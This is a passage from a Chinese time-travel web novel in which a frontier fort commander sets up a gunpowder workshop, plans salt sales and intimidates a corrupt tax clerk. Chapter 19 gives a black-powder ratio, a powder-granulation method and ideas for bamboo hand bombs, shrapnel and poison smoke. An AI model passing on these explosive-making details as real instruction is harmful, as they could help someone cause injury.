“刘铁柱,你亲自带人,即刻通传全堡新老住户:无事严禁出堡!必要出行,必须结伴,提前申报。提防可疑生人,有异,立报!”
三人轰然领命:“遵令!”
“秦队将。”秦猛目光转向秦大壮,“你的担子更重。界河水流急剧减缓,这是冰冻的征兆。河对岸的监视,给我钉死了,严防鞑子突袭。”
“是!”秦大壮瓮声应诺,声震屋瓦。
第19章 火器作坊
紧急布防的命令刚下完,秦猛一刻没歇着。
他心里清楚:光靠高墙堡垒挡不住明枪暗箭。
得有扎实的根基、凌厉的手段,更得发挥他穿越者的优势,攥着几手别人不知道的杀手锏。
秦猛快步穿过热闹的军堡,路过火星乱飞的铁匠铺、锯声刺耳的木工坊都没停。
他径直走向堡里最偏僻、味儿最冲的独立小院。
这是他力排众议划出来的——火器坊!
小院及周边区域总飘着浓烈呛人的硝磺味,时不时传来闷响或“嗤啦”声,还有股焦糊味。
这吓人的动静,让堡民都绕着走,这儿差不多成了“禁地”。
掌管火器坊的是范良,是秦猛从流民里挖出来的宝贝。
四十来岁的他矮瘦但结实,脾气像倔驴一样犟。
在凉州爆竹作坊干了二十年,他对硝、硫、炭的把控没话说,花炮、响炮、号炮都做得极好。
可就因为太较真,非要用足料,得罪了监工丢了饭碗。
后来鞑子入境,家里人没了,房子也毁了,他一路逃到南河堡。
秦猛查户口时发现他会做烟花爆竹,简直如获至宝。
秦猛当过兵,还是武警教官,懂些火药枪炮的道理,却从没自己配过火药。
眼下有这么一个能人。
他立刻上门,边喝酒边聊天,摸清了范良的本事和遭遇。
更知道这世上虽有火药,但却只用来做烟花爆竹,军用火药因为威力小,一直不受重视。
秦猛看重的正是范良那股“不惜本、求真效”的匠人劲儿,给了他好待遇。
火器坊,由此而生。
秦猛进院时,正看见范良弓着背,对着一个冒青烟的小瓦罐皱眉头。
他脏乎乎的手指小心拨弄着罐底的黑粉,专注得像在伺候稀世珍宝。
“范师傅,进展怎么样?”秦猛问。
范良头也不抬,瓮声瓮气的,带着股较真的执拗:“大人给的‘七五硝、十硫、十五炭’方子试过了。
确实劲头足、扬尘少,好是好,可这料不行!
硫磺像土渣似的斑驳,硝霜也没提纯干净,杂质多如沙子!
就这玩意儿,堆再多也炸不开石头。”
他捏起一小撮火药,干脆地点燃,用木板盖住。
“嗤——轰!”
一团比普通爆竹猛得多的火球炸开,带着呛得人咳嗽的浓烟,那块木板都被炸出了几道裂口。
“您听听、看看,响动是大了点,但离‘开山裂石’差远了。
对付披甲的鞑子?除非抱着桶冲上去,可这又成不了您说的那种随手扔、见血封喉的暗器啊!”
范良自言自语,狠狠抹了把脸,顿时成了“花脸猫”,眉宇间全是不甘和烦躁。
“别急,一步一步来,根基得打牢,慢工出细活。”
秦猛沉声安抚,又提醒道:“你刚才那举动太危险,记住,人比火药金贵。”
他话锋一转,切入正题:“粉末状的火药压实了像浆糊,烧起来拖拖拉拉,得让它‘透透气’!”
“透气?”范良浑浊的眼睛猛地一亮。
“对,就像沙堆!”秦猛蹲下,随手捏起地上一把土。
“细沙容易沉,灌水就成泥;但粗砂呢?
石子堆在一起有空隙,风一吹火一烧,噌噌就烧透了。
火药的‘粗砂’就是颗粒,颗粒之间留缝,气流能跑,一烧起来就是燎原之势。”
“那爆炸威力不就大了?”
“颗…粒…化?”范良喃喃自语,呼吸突然变粗,眼里闪着精光。
他猛地抬头,目光热得像要把秦猛点燃:“大人…您说的有道理,难道您知道这法子?”
“当然!”秦猛点头,话锋一转,“我可以告诉你。”
“真的?”范良喜出望外。
“但是我有条件,你要答应三件事。”
“大人请讲!”范良已经迫不及待,几乎要扑上来。
“好。”秦猛竖起食指。
“其一:颗粒火药的研制过程、配方变动、威力数据,须详实记录,无一字遗漏,交我亲阅!”
“已在笔录!”范良指向墙角一沓沾满火药灰的草纸。
“其二:若成,此法立即成为军器坊秘技!由你掌总,不得藏私,大批量产,入军御敌!”
“大人传授,范良不敢贪天之功!”范良毫无迟疑。
“其三!”秦猛神色陡然冷峻如冰,眼神锐利如刀,死死盯在范良脸上,“一旦此法功成,威力非寻常可比。实验引信必须十倍于常。
另外试验之时,你本人,必须给我退到十丈开外。我会派护卫监督,性命攸关,不得有误!”
范良浑身一震,眼眶蓦地一红,张了张嘴,只化作一声铿锵有力的:“范某……铭记于心。”
秦猛这才展颜,凑近压低声音:“颗粒之道,说难也不难。取精粉,喷细雾水汽,润泽约莫百分之五,搅匀压成薄饼,阴干之后……敲碎筛匀即可。”
“就…就这般?”范良眼珠子都快瞪出来了,一脸难以置信。
“知易行难,分寸靠你拿捏。”秦猛拍拍他肩膀。
他继续抛出新思路,“若求更胜一筹,可试掺些许极细金属粉末亮粉,或造空心装药增大内爆冲击……
更可将不同颗粒大小火药混配,点燃瞬间能炸出惊雷之势。此等配方,可用手臂粗的竹筒装填,配上引信,专供那随手可掷的‘霹雳雷’。”
“而防守所用的大杀器。”秦猛声音更低,透着森然,“装填陶罐即可,分量越大越好。
另有烟浓、味烈者,或可炼成那刺目呛喉、遮天蔽日的毒烟瘴。
至于添铁砂碎刃以增杀戮……这些,我只是提及li皆可由你大胆尝试,摸索,小心记录。
所需材料、器物,只管报来!银钱,我来想办法。事成之日,重赏翻倍。功在军堡,利在千秋。你范良大师之名也会被后人铭记!”
“大人!”范良激动得浑身颤抖,猛地抱拳,声音嘶哑却无比坚毅,“哟这把骨头,就全豁在这火药堆里了。只是……这动静、气味……”
秦猛一指堡外:“窑厂荒僻,配好药后,移至附近试验。务必……谨记,安全第一!”
“是!”范良激动应诺。
“对了大人,您要的‘响雷炮’做了些,响声很足。”
范良一拍脑袋,跳起来,领着秦猛进了阴凉的内室。
墙角放着一捆用空心麻杆灌药、硝土封口、火药麻线捻子串联的“大号鞭炮”。
秦猛舍不得用整串,只取了一小截“麻杆雷”,点燃引线用力扔出去——
“轰!”空中炸开,声音像布帛撕裂,熟悉的刺鼻硝磺味弥漫开来。
“好,这东西,一定能送鞑子上路。”秦猛眼里闪过一丝喜色。
他又在院里转了一圈,查看了研磨硝石的石碾、筛滤硫磺的细箩,还有堆放整齐的陶罐、竹筒。
他时不时俯身查看材料成色,询问制作进度。
范良跟在一旁,事无巨细地汇报着。
从硝石提纯的损耗到木炭烧制的火候,连哪批材料杂质多都一一说明,语气里再没了先前的懊恼,只剩对新法子的期待。
“材料不足随时上报,人手不够我再调派,你只管专心研制。”秦猛拍板道,“记住——
以人身安全第一,进度第二,我要的是能稳妥杀敌的利器,不是急出来的隐患。”
“大人放心!”范良胸脯拍得震天响。
“等有了颗粒化的法子,不出十天,定给大人拿出像样的东西来。”
秦猛看着他眼里燃起来的光,嘴角露出一丝笑意。
他知道,这火器作坊有这位坐镇,用不了多久,产出的不仅是火药,更是军堡抵御外敌的底气。
第20章 木工坊提案
堡内,木匠坊里一片热闹。
“哧啦——刺啦——”
锯木头的锐响、刨刀削木料的闷声、凿子敲钉子的撞击声混在一起,震得人耳朵嗡嗡响。
鲁明是堡里手艺最好的木匠。因为活儿干得出色,秦猛让他当了工头,管着整个木匠坊的事。
这位鲁师傅的手艺真没话说。他家几代人都是木匠,祖上还给宫里做过许多精巧玩意儿。
他做的木桶装水三年都不漏,做的机关榫卯细得比头发丝还密,几十年都拆不开。后来手艺遭同行嫉妒,家道中落,才流落到这边关。
鲁师傅不光手艺好,做事还特别细心。在他的打理下,木匠坊总是井井有条,忙而不乱。
七八个木匠师傅带着学徒各自忙碌着。地上铺满了刚刨出来的刨花,带着竹子和松脂的清香。
成捆的箭杆很快就堆了起来。
韧性极好的硬木在师傅们熟练的操作下,蒙上浸过油脂的牛皮,变成一面面坚固的圆盾。
角落里,特意选的弓坯在烟雾中熏烤、弯曲定型,老师傅正指点几个眼神亮、指节粗的青年,教他们怎么把泡得正好的牛筋精准上弓弦。
最显眼的是,几副正在做的龙骨,结构精巧。用水推动的小轮毂正在鲁明亲自盯着拼接。
“这里的榫卯必须咬紧!”鲁明沉声指点,手指敲着关键的接口。
“这不是普通东西,开春引水的命脉全靠这几根梁柱!”
……
秦猛带着一身火器工坊特有的硫硝味,走进了这片满是木料和汗水的地方。
他心里清楚,火药这东西是根基,但能填饱肚子的钱粮才是真正的命脉。
雪花盐已经有了着落,蒸馏酒这既能换钱又能疗伤的好东西,必须赶紧做出蒸馏装置来。
他扫了一眼工坊,目光落在那位约莫五十岁、脸上刻着风霜却满眼专注的老匠人身上。
鲁明确实是块真金子!他的手艺在流民里就像珍珠一样珍贵,让木匠坊做出来的制式硬弓,圆盾等,比城寨发的硬弓还要好上一些。
此刻,鲁师傅那双布满老茧、却灵巧得很的手,正专注地捏着几块薄如柳叶的榫卯木片。
那神情,像将军在沙盘上布阵般认真。
“大人。”隔壁的李铁匠带着一身煤灰味走了过来。
秦猛让无关的人走开,只留下几位核心的老师傅,目光锐利地说:“诸位,跟我做个新物件。”
“要一个特别的大木桶,必须严丝合缝。上面开个气孔,接一根长长的细管,拐几个弯最后接到凉水槽里……要的就是把蒸腾的‘气’变成水。”
他一边说,一边拿起一根断木在满是木屑的地上画了起来。简单的线条却把蒸馏的原理说得明明白白——热气升起来,遇到冷就变成水珠。
“这……这么神奇?”鲁明的眼神从困惑变成震惊,最后像看到稀世珍宝一样发亮。
“妙,妙啊!蒸云化水的道理还能这么用?”
鲁明拍着手叫好,但很快皱起眉头,有些犹豫地说:“不过大人,这密封的关卡太难了。
尤其是那弯管接口的地方,不光要密封好,管子的弧度还得特别精准,不然水汽不通畅,可能会回流爆裂……做起来不容易,得要李老弟的铜铁手艺帮忙。”
“鲁师傅尽管吩咐。”李铁匠立刻拍着胸脯保证:“我的炉子随时听大人和鲁大师吩咐。”
“有李师傅帮忙,就有三成把握了。”鲁明眼里又有压力又有兴奋,像在锻打一块硬钢。
秦猛笑着安抚大家,声音沉稳有力,盖过了作坊的嘈杂:“鲁师傅,放手去做,就当成你那些精巧的榫卯活计来琢磨,完善,别灰心。”
“别担心浪费材料,只要能成,本官重重有赏。参与的匠人,当场就赏十两纹银,管够饭。”
“十……十两?!”周围响起一片抽气声。几个正在拉锯的学徒手一抖,锯子差点锯到腿上。
连鲁明、李铁匠这种见过些世面的,也瞪大了眼睛。
就别说,几天前还是快饿死的人,现在不仅吃饱穿暖,只要干好活,居然能拿到额外赏银?
秦猛要的就是这股干劲。他看着一张张涨红的脸,像点燃柴火的火种一样说:“在大伙努力下,军堡壮大,以后这种精巧的活儿只会更多。
木工、锻造,甚至屯田水利,手艺好的人都能得重赏!等军堡升级成军寨,功劳大的人——获得职位,甚至封官入署,很快就能实现!”
职位?封…官?
整个工坊瞬间安静下来,很快爆发出粗重的喘息声。
希望的火苗一旦点燃,连卑微的尘埃都被照得滚烫。
“大人。”鲁明声音嘶哑,却字字铿锵有力:“小人这把老骨头豁出去了,一定做得滴水不漏,不然提头来见。”
“铁匠坊绝不含糊!肯定打出最好的东西!”李铁匠不甘落后,激动得头发都竖起来了。
“大人放心,我们拼了!”几个老师傅和各自的学徒热血的应和声,几乎盖过了工具的撞击声。
叮叮当当的凿刻声一下子变得又猛又有劲儿,仿佛凿的不是木头,是通往官袍的阶梯。
秦猛看着这群因为有了盼头而干劲十足的手艺人,嘴角露出一丝少见的、带着温度的笑容。
三百六十行不分贵贱,关键是要有上升的路子。
秦猛拿起纸笔,又仔细画起草图,反复琢磨关键的地方。就在他要画完蛇管的弯曲度时。
一个苍老又急促的声音穿过喧嚣传了过来:“秦管队,秦管队,秦管队……老头子有急事!”
保长王槐拄着他那根油光锃亮的拐杖,规矩地站在坊外,探头张望,干瘦的脸上满是焦急。
又来了……秦猛按了按发胀的太阳穴。这倔老头,古稀高龄,怎么劝说都无法让他改口。
他交代鲁明和李铁匠等人后,便向工坊外走去。
“老人家,说了不用这么称呼……”
“规矩不能破。”王老保长满脸固执,腰板挺得笔直:“我身为保长,更得带头守规矩。”
秦猛懒得跟他争,问道:“什么事,这么急?”
“青阳县衙的‘催命鬼’来了!”王槐压低声音,浑浊的眼睛直勾勾盯着秦猛。
“谁?”秦猛猛地抬头,眼皮跳了一下,有点疑惑。
“就是那个专门来咱们军堡收‘买命钱’的胥吏,张琨。”王槐说出这个名字时,一阵咬牙。
张琨?
这两个字,像烧红的烙铁烫在秦猛脑子里。穿越过来那天,未婚妻和小妹欲自尽的惨状、苛捐杂税,那混蛋临走时丢下的冰冷威胁……
画面一下子全涌了上来。
“哼!他…居然还敢来?”秦猛从牙缝里挤出声。抑制不住的杀意令周围的温度都好像降了几分。
他腰间的佩刀仿佛感受到主人的怒意,没碰,没风却自己动了起来,发出低沉的嗡鸣。
“猛子,你给我稳住。”王槐脸色一变,一步上前,枯瘦的手像铁钳一样抓住秦猛结实的胳膊。
这老油条太清楚秦猛的手段了,那个青阳县巡检就是例子。
他浑浊的眼睛里闪着警告的光:“你现在是当官的,不是山沟里的野路子,必须沉住气。
再恨,也得笑着脸,再怒,也不能先拔刀。话到嘴边先想三遍,一个字都不能让人抓住把柄!”
他一连串低吼,说的全是用血泪换来的保命道理:“你跟你爹一个样,千万不能走他的老路。”
第21章 老狐狸,小狐狸
老保长王槐活过了七十三个年头,年轻时是十里八乡有名的俊后生,还正经读过几年私塾,也曾向往过蟾宫折桂、指点江山的风光。
奈何,命运弄人。
恰逢草原部落蠢蠢欲动,北疆烽火渐起。他那点秀才心思便只能和着黄土,一同埋在了边陲。
一辈子大风大浪,见过鞑子烧杀劫掠如蝗虫过境,也经历过无数场大大小小的冲突血洗。
堪称人老成精,那双看似浑浊的老眼,实则在风霜刀剑中淬炼得毒辣无比,洞悉世事人心。
秦猛深吸一口气,强行压下眼底翻腾的杀意,看着这张布满皱纹、写满底层生存智慧的老脸。像看到了前世早逝的爷爷,眼神柔和了许多。
“老爷子放心,当兵久了,容易热血上头。另外这恨意…非是我的本意,是这身体的执念,烙得太深了。这种弊端很致命,我尽量控制。”
“古人云,为官者,当不以物喜,不以己悲。”这句话但刚出口,秦猛就后悔了。在这个时代,眼前这个精明的老头,有露馅的可能。
果然,王槐愣了愣,白眉向上挑起,浑浊的老眼里闪过一丝错愕和玩味:“这句话好有哲理,哪个古人说的?为何老夫从未听说过?”
“是你说的?”他夸张地掏了掏耳朵,上下打量着秦猛,“哎哟喂!咱们的秦管队开窍才几天功夫?
这就跟老夫拽上文了?可是稀罕事儿。怎么,前几日刚砍了个巡检,今日又琢磨如何为官?”
秦猛自然不愿跟这老狐狸做口舌之争,他顺势岔开话题,抬手指了指天际翻滚的厚重铅云。
“老爷子,看看这云,黑中泛灰,这是要卷地皮的架势。依我看,大雪不远,界河一冻,河面便成了坦途,对面狗子怕是按捺不住了。”
“下雪好啊!”王槐也收了笑意,神情肃穆了几分,“瑞雪兆丰年,能冻死不少地里蚜蝗虫。也是刀兵再起之时,军堡要提前准备起来了。”
他顿了顿,枯树皮般的脸上重新浮起一丝狡黠:“倒是你这傻小子,开窍后不仅刀快,眼光也毒,连天象都懂几分。比大壮,牛蛋强。”
他话锋一转,轻轻拍了下自己布满沟壑的脑门,“瞧我这记性,光顾着打趣,正事差点忘了。
那个姓张的,这次破天荒不是来催命索税的……啧啧,居然带了沉甸甸几大车的厚礼,态度恭敬,指名道姓要‘拜访’你这位新管队。”
“送礼?黄鼠狼给鸡拜年!”
秦猛冷笑一声,一点都没动心,“让他等着,你这么急着找我,肯定还有更要紧的事吧?”
秦猛笑容笃定,把精盐提炼步骤详细记录,连带盐坊那边,他之前可是托付给这老狐狸了。
王槐左右看了看,声音压得更低,像地下接头一样:“是盐的价钱,我扒着算盘算了又算。”
他掰着满是老茧的手指头,压着嗓子说道:“粗盐熬出精细的雪花盐,十斤大约能出五六斤。
费柴火?咱这穷地方啥都缺,就不缺那些没人要的枯枝烂柴!工钱按你定的,月给两贯,已是顶好的酬劳。
老头子琢磨着,这都不是大头。关键是——这雪花盐,卖多少钱?”
王槐浑浊的老眼中此刻爆发出无比炙热的光芒:“市面上那劳什子‘玉华盐’都被炒成天价了。
咱们这盐,老头子尝过,也找人看过,成色雪白透亮,杂质极少,比那‘玉华盐’品质更好。这价格……可不能贱卖了。那是糟蹋好东西。”
秦猛微微皱眉,指尖无意时敲击刀把子:“我本打算走大众路线,薄利多销,惠及百……”
“慢着!”王槐立刻打断他,一副“你太年轻不懂行情”的表情,唾沫星子又开始活跃起来。
“管队你这想法是好,可做生意是有讲究的。老头子斗胆建议,咱们得走两条路,高、低分开。”
“一部分就在咱们周边,卖给那些缺盐缺得眼珠子都绿了的穷堡寨、苦村子。”王槐手指朝东北方向几处军堡点去。
“便宜点卖,能让他们吃得起,咱们也能薄利多销。这不仅获利,更能收拢人心,让他们知道,跟着咱小南河堡,有肉吃,有盐吃。”
“另一部分,”王槐压低声音,眼神朝南边青阳县城方向瞟了一眼,“用精美瓷罐装着,走高端。
就卖给那个隔三差五给咱堡里送些平价粮食、还时常送肥猪来犒劳军汉的‘常记’粮行。
那常胖子,人精明又是个有财主,路子野得很,咱们搭上他这条线,雪花盐不愁卖不出高价。”
“咦?”秦猛眼皮猛地一跳,看着眼前唾沫横飞、眉飞色舞的老狐狸:“老爷子,你跟我想到一块去了!”
“哦?”王槐眼睛更亮了,像饿狼看到了肥肉,又往前凑了一步,几乎快贴到秦猛身上。
他那带着腌菜味的唾沫星子差点溅到秦猛脸上:“那敢情好!既然管队也这么想,老头子就再抖点底。
那常家不止在幽州,并州吃得开,听说还通着南边的海路,走私海盐的生意都敢沾边。背景硬得很。”
他舔了舔干裂的嘴唇,眼中闪烁着老辣算计的精光:“不过,老头子还有个更大胆的想法。
咱们跟他们打交道不能光指望着卖盐。最好啊,是让他们出粗盐块,咱们只管收来蒸、滤、袄。
——这才是真正的无本万利啊,我的管队大人!不用操心原料,不用垫本钱,稳赚不赔。”
秦猛侧头,看着唾沫横飞、双眼放金光如同看到金山银山的老保长,脸颊肌肉抽搐了几下。
他心底无声地长叹:“古人诚不欺我,老而不死是为贼啊!”
这老家伙的心思,竟与自己这个穿越者设想的分销链和外包模式高度契合!
他比自己想得还狠,连采购粗盐的本钱都想省了,只吃技术加工的差价,如同空手套白狼。
“不,”秦猛目光沉静下来,语气却斩钉截铁,“加工费听起来稳当,但容易让人起逆反心理。
毕竟咱们付出的太少,换作是谁心里也会不平衡。也显不出我们雪花盐的价值和付出的成本。
——别忘了我们提纯的技艺和火候是关键。更重要的是,这等于我们的命脉捏在他们手里一半。还是稳妥点,与他们谈价,双向倾销。”
他竖起食指,目光锐利如刀:“低买粗盐,高卖精盐,把价格提起来,钱赚得干净明白!”
他深吸一口凛冽的寒气,继续道:“最关键的一点——鸡蛋绝不能放在同一个篮子里。常氏粮行只是其中一个销路,但却绝不能依赖!”
“这是为何?”王保长有点没想明白。
“一条路容易被人抓住把柄卡脖子,用粗盐做文章。商人逐利,常胖子再好,也不能托底。”
秦猛思维如电,滔滔不绝地将心中盘桓的商业计划说出:
“首先,划区而售,通俗来讲,就是卖场,榷场之类的。青阳县及周边百里村,堡,定为咱们的地头。
严控盐流,防止他们低价收高价卖,扰乱市场。此地由我们堡里自营,或指定可靠的牙行代售,咱们定价。他们从我们这里批量进货。”
“其二,中远途地区,比如邻近州县,则选定固定的‘独家经销商’,就是总承销的商家。
让他们承担运输和分销压力,我们只负责供货并监督他们遵守我们的底价,这叫‘承销商’,而且还视情况收取一定的加盟费,并指导。”
“其三,在那些富庶之地,州府郡城。我们亲临指导,让常氏粮行之类有实力的合作方。专设‘高端柜台’!不仅要限购,还要玩‘饥渴营销’。
营造出奇货可居之势,把那雪白晶莹的盐,用最好的琉璃瓶装着,配上‘南河御雪珍盐’之类的招牌,卖给那些不差钱的大户、官家,狠赚一笔。”
“其四,‘大众市场’绝不能放手。咱们自己的堡兵、临近的穷军堡、苦村寨,定期定量,保证按平价供应基础量,不卖,他们用粗盐换。
这是根基,也是收买人心的不二法门。最重要的是这不是私盐买卖,可以光明正大地来。”
“其五……”
秦猛口若悬河,从价格制定说到营销策略,从客户分层说到渠道控制,前世的商业概念被他用古代人可理解的词句,掰开揉碎地灌输出来。
“饥渴营销?”
“代理商?分销商?”
“划分卖场,区域定价?”
……
一连串闻所未闻的名词如同密集的响箭射向王槐。老保长完全懵了,手里下意识要拨算盘的手指僵在半空,一双老眼直勾勾地盯着秦猛。
他眼珠子瞪得溜圆,仿佛在看着一个突然从石头缝里蹦出来、浑身金光闪闪还会说外国话的神兽。
他那颗在边陲乡间沉浮七十年、自诩算尽人心的“城精”脑袋,在秦猛这融合了后世千百年商业智慧的盐业战略轰炸下,彻底被轰成了一团浆糊,如二愣子般傻傻地戳在了原地。
第22章 秦管队立威
秦猛擢升南河军堡管队官的消息,在堡民道贺与流民接风宴的热闹中被冲淡,未起波澜。
直到青阳县巡检使臣许志的死讯传回。他被秦猛挑杀。
这个噩耗如冷水泼进油锅。
许家,与盘根错节的姻亲吴家,瞬间被捅了马蜂窝。
许志虽仅为九品,却是许家在官场唯一的指望;吴家与之深度绑定,一荣俱荣,一损俱损。
两家旋即联名,泣血状告至青阳县衙,痛斥戍堡边军秦猛“目无王法、擅杀朝廷命官”。
特乞求官府“严惩凶徒、为死者伸冤”。
青阳县令手执状纸,笔锋悬而未落。
边防帅司的快马已踏破县衙门槛。递来的文书证据详实得令人心惊:
许志伙同吴家妻弟,抢夺军功、克扣军饷、私通敌寇传递军情……
条条罪状清晰,人证物证俱全。
赫然是一座足以令两家万劫不复的铁证大山。
县令的惊愕还未散去,帅司命令再至。
南河城寨的铁甲寨兵已封死许、吴两府大门。查抄家产充作军饷,男丁流放,女眷尽数没入贱籍。
昨日县城望族,顷刻沦为丧家之犬。
此讯如惊雷般滚过青阳县及周边乡野。这个事情的始末瞒不住,很快就被边军刻意宣扬。
地方军队公然抢夺军功,结果遭到边军将士反杀。边防帅司通报各处,谁抢功,绝不轻饶!
人们这才悚然惊醒,死死记住了那个名字。
——小南河堡管队官,秦猛。
此名如万钧巨石投入死水,在曾欺辱过秦家或与许吴暗通款曲者心头,激起的唯有冰冷彻骨的亡魂之惧。
帅司正式公文抵达南河军堡当日,嗅觉最灵敏的胥吏,衙役们却已捕捉到凛冽的风向。
税务班头张琨,便是其中坐卧最不安的一个。
昔年秦家门前那一幕清晰如昨:
秦猛还是个受人嗤笑的“二愣子”。他亲眼见陈月娘哭得肝肠寸断,秦小芸死死抱着门框抗拒他踏入催税。
那时他只将这一家视作砧板鱼肉。不仅苛扣了秦家本该拨付的微薄抚恤,更借“损耗折算”的由头,将秦父用命换来的补助粮食硬生生刮走大半。
就在十来天前,他还去催杂税,撂下过狠话。
谁能料到,短短数天,这“二愣子”竟手握兵权,更敢当众斩杀朝廷命官。
而帅司不仅不降罪,反雷霆处置了状告者……
这背后的森然寒意,让张琨每每入夜都被梦魇惊醒。
“秦猛……秦管队……”仲冬寒夜,张琨如困兽般辗转难眠。
“这哪是咸鱼翻身?分明是潜蛟出海,要掀滔天巨浪!”
思前想后,恐惧终究压倒了侥幸。他一咬牙,装了绫罗绸缎二十匹、金银首饰满两大箱、上好米酒二十坛,又急购精米百石,装满三辆大车。
天色未明,张琨便套上簇新青色绸衫,带着家丁惶惶然奔小南河堡而去。
必须去!是请罪,更是摇尾乞怜。
毕竟对方连朝廷命官都敢杀,何况他这收税班头。
只希望破财免灾,求能换来这位煞星眼中一丝松动,化解恩怨,好过日后被无形快刀索命。
秦家小院外的窄巷口,三辆满载的马车颇为扎眼。隔壁王婶聚拢几个妇人婆子,探头张望。
张琨背负双手在紧闭的院门前踱步,不时踮脚向门缝张望。
朔风凛冽,本该瑟瑟发抖,他却心头燥热难当,额角汗珠儿滚滚而下,浸湿了新绸衣领。
“哟呵?这不是张班头吗?”
一个慵懒戏谑的声音自身后响起,如寒针扎在张琨脊梁,“怎有闲暇光临我这穷酸院子?
莫不是……又来催要秋粮了?”
张琨浑身剧震,猛然回头。刺目阳光之下,魁伟身影大步踏来,玄黑铁甲泛着冰冷幽光,脖颈刀疤狰狞醒目。他身后几个亲兵杀气腾腾。
不是秦猛又是何人?
与王保长讨论完盐的买卖后,秦猛便带人赶回。
他目光深邃锐利,哪还有往常半分“憨傻”痕迹?
“不敢!万万不敢哪!”张琨双腿一软,慌忙躬身作揖,声音抖颤,“秦管队折煞小人了。
您是边军砥柱,军属税赋早该豁免。小人今日是专程来向大人恭贺高升,赔罪,请安的。”
他语无伦次,偷觑着秦猛铁甲压身的威严和腰侧横刀蛰伏凶兽般的气场,心惊肉跳:
当初自己真是瞎了眼,如何没发现这头藏锋猛虎?
秦猛嘴角牵起一丝笑意,眸底却似深潭:“哦?来恭贺本官?既是客,那就,进院说话。”
言罢他不待张琨,径直推门而入。
这“和善”让张琨更惶恐,他挤出一丝比哭难看的笑容,踩着擂鼓般的心跳声跟进院子。几个亲兵早就得到吩咐,帮忙拽马车,卸礼物。
堂屋主位,秦猛如虎踞,掌中热茶氤氲白气。
张琨半边屁股粘着椅子,身板绷直,汗珠不断自鬓角滚落,砸在棉筒靴上面上洇开深渍。
里屋门帘悄掀一线。陈月娘紧攥衣角指节泛白。
张琨当初“交不出税就拿人抵债”的恫吓犹在耳畔。
秦小芸低笑快意:“嫂子快看,看他那熊样!当初他可是凶狠的紧,如今却这般乖如孙子!”
陈月娘轻轻摇头,目光定在秦猛宽厚的侧影上,那份威严令她安定,却也悄然滋生出一缕陌生。
“秦管队……明鉴呐!”
张琨先沉不住气了,带着哭腔的声音打破静默:“小人往日催收赋税,皆是转运司层层压下的死数。
州府压县衙,县衙再压我等小吏,数目一变再变。小人就是磨盘下的豆子,纵有千般不忍,也只得闭着眼干啊!此非本心,实是身不由己。”
话音未落,他膝盖已簌簌颤抖。
秦猛慢条斯理地啜了口茶,眼皮微抬:“噢?为国课税,勤勉奉公,何错之有啊?
家父不幸为国捐躯,秦家已划出军户,依法纳粮是本分。半年前班头公事公办,倒也合情合理。”
他先说“半年”,再轻飘飘补上一句“公事公办,合情合理”,字字如针扎得张琨脊背冰凉。
谁不知道边军战死后,官府少说补助两三年时间?
张琨双股战战,慌乱加码:“小人知错,知错!愿再献白银五百两、粮食五百石、肥猪五十,不日便解往南河军堡以供大人操练甲兵。”
秦猛端茶的手指几不可察一顿。一个小小税务班头轻快拿出此等重礼?
大周吏治之腐败远超想象。
他又想起穿越那日,陈月娘绝望的眼神和空空的米缸,婆娘欲寻死,彻骨寒意自他眼底掠过。
张琨见他沉吟,误以为不足,忙伏低献媚:“小人在青阳地面盘踞多年,三教九流尚算熟络。
军堡若需粮秣军需、马匹铁料、盐巴乃至硝石硫磺之属,小人愿居中奔走,效犬马之劳,定为将军备办妥当。”
秦猛冒出的杀机陡然遏制,心中默忖:此獠虽属宵小,却如土生藤蔓盘踞底层,根系繁杂,耳目通灵。
军堡草创,光靠常氏粮行易被卡脖子,正需多路发展,如此等熟知地下路径的地头蛇。
秦猛面上却不动声色,稍作沉吟方道:“罢了。官大半级压死人,念你确也身不由己,又有心化解前怨…往日之事,本官不再追究。”
“谢大人开恩,谢将军不杀之恩!”张琨如蒙大赦连连作揖。
“不过——”秦猛话锋陡转,平淡中杀机立现,“军堡扩建在即,界河冰冻,鞑子又得来袭。
堡内军粮、禽畜、马匹耕牛、精铁、硫磺、硝石、棉花……这些门路交你操办。办得好,本官绝不吝啬,重重有赏,办不好,哼……”
他后面的话没有说,但眼中杀气凛然。
“是是……小人定当肝脑涂地!绝无半点疏漏!”张琨心中巨石落地,有用即保命符箓。
“慢着!”秦猛倏然起身,高大的阴影如乌云罩顶吞噬张琨。他目光如淬冰刀锋,直剜向对方眼底。
“本将尚有一事问你。家父以性命换来的五十亩军功田,前些时日被人设局强占。青阳县为何不管?此事……你张班头,可曾分羹?”
“没有,绝对没有哇!”张琨魂飞魄散头颅狂摇。
“小人只是风闻,绝无涉入!求将军明察!此事乃南河镇刘保正联合族亲本县刘县丞所为…”张琨为了自保,毫无压力的把上官给卖了。
“哦?”秦猛眉峰微挑,嘴角噙着森然冷笑,“那你想必清楚,强夺边军军功田,依律该当何罪?”
张琨出身刀笔,律法烂熟,求生欲下急声道:“太祖皇帝有明训:军功田乃国赐功臣永业之产,严禁私卖侵夺!犯者以‘侵夺公私田’论处。
依《周刑统》,强占一亩笞三十;每五亩罪加一等;最高判徒一年半,最高刑,处于绞刑。”
“哼,律法倒是烂熟。”秦猛冷哼,眼中寒芒一闪,话语却转轻:“说来也巧,那刘扒皮一家…
前几日夜里忽地死绝了,悄无声息。本官原想呈报帅司请条法严办…不想,他倒死了个痛快。”
“哈哈哈,死得好啊。”
轰!张琨脑中炸裂!青阳县沸沸扬扬的刘府灭门惨案,竟被这煞星如此轻描淡写提起?
再思及“死得好”三字,彻骨寒气自脚底板直冲顶门。
他双膝一软,“噗通”跪倒,额头死死抵住冰冷地砖,牙关打颤,心里冒出了一个可怕的念头。
秦猛重新落座,悠然端杯,轻吹气撇浮沫。“张兄今日所诺,本官记下了。望你,言而有信。”
“不敢爽约,小人绝不敢有半分欺瞒!”
张琨如蒙大赦,手脚并用地爬起,跌撞向外退去。
“秦将军,小人告退!”
“不送。”身后传来淡淡两字。
张琨狼狈逃出院门。直到坐上自家马车,他才惊觉裤裆里发热,双腿仍在筛糠般抖动。
车帘掀起一角,他最后回望那曾被他视为砧板鱼肉的斑驳小院,心中唯剩一个念头深烙:
此獠秦猛,绝非凡类!
其手段之狠、心思之沉,更胜传言!
自今而后,青阳地界,只望尽力办事,方保项上头颅安在!
第23章 富贵不移,此生唯你
堂屋内,那份令人窒息的、充斥着虚伪与恐惧的污浊空气,随着张琨的仓皇逃离瞬间消散。
紧绷的氛围骤然松弛,只剩斜阳透过窗棂投下暖金色光柱,无数细小尘埃在光柱里无声浮沉。
秦猛卸下对外的冰冷漠然与无形威压,用力捏了捏眉心,缓缓舒气。
